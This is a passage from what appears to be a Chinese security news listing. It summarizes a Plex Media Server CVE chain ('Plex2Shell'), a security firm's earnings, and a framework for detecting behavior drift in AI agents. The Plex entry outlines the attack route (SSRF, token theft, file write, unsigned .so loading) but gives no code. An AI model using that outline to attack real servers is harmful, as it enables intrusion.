  6. Plex 安全公告(2026-09-01,2026-10-19 更新)
  7. BoredHackerBlog 蜜罐观测(2026-10)

> 交付说明:本报告为静态技术分析,未对任何真实目标发起连接。文中的利用步骤用于理解与防御验证;实网使用需书面授权。分析过程中拉取的 GitHub 仓库已在交付后删除。

CVE-2026-96652/-96654/-96655/-96656" 网络安全文章

CVE-2026-96652/-96654/-96655/-96656"

Plex2Shell是将4个中低危CVE组合成未授权RCE链的武器化攻击,影响PlexMediaServer1.43.3.10861以下版本,CVSS评分9.8。攻击链从SSRF绕过鉴权窃取管理员token,经任意文件写入最终通过无签名.so加载实现代码执行。已在野利用并进入CISAKEV,建议立即升级至修复版本并排查异常转码活动。
行业资讯|山石网科业绩说明会,ASIC芯片成减亏核心驱动力,AI安全布局三层产品矩阵" 网络安全文章

行业资讯|山石网科业绩说明会,ASIC芯片成减亏核心驱动力,AI安全布局三层产品矩阵"

山石网科2026上半年营收4.51亿元增8.28%,归母净利润减亏72.41%,自研ASIC芯片规模化商用成减亏核心驱动力。公司提出双A战略,ASIC负责当下减亏与国产替代,AI安全布局治理、运营、底座三层产品矩阵,海外业务作为第二增长曲线连续高增。建议关注其AI安全产品落地进展与海外业务兑现情况。
长时程行为漂移检测" 网络安全文章

长时程行为漂移检测"

本文提出长时程行为漂移检测框架LBDD,针对AIAgent在数千步任务中出现的渐进性、累积性、隐蔽性行为偏移问题。通过行为分布散度与目标一致性双维度度量,结合多尺度检测架构、在线变点检测、LLM-as-judge语义评分及累积效应相变模型,实现对温水煮青蛙式Agent失控的检测。文章提供了形式化定义、算法设计与评估框架,为AI安全监控提供新思路。
评论:0   参与:  0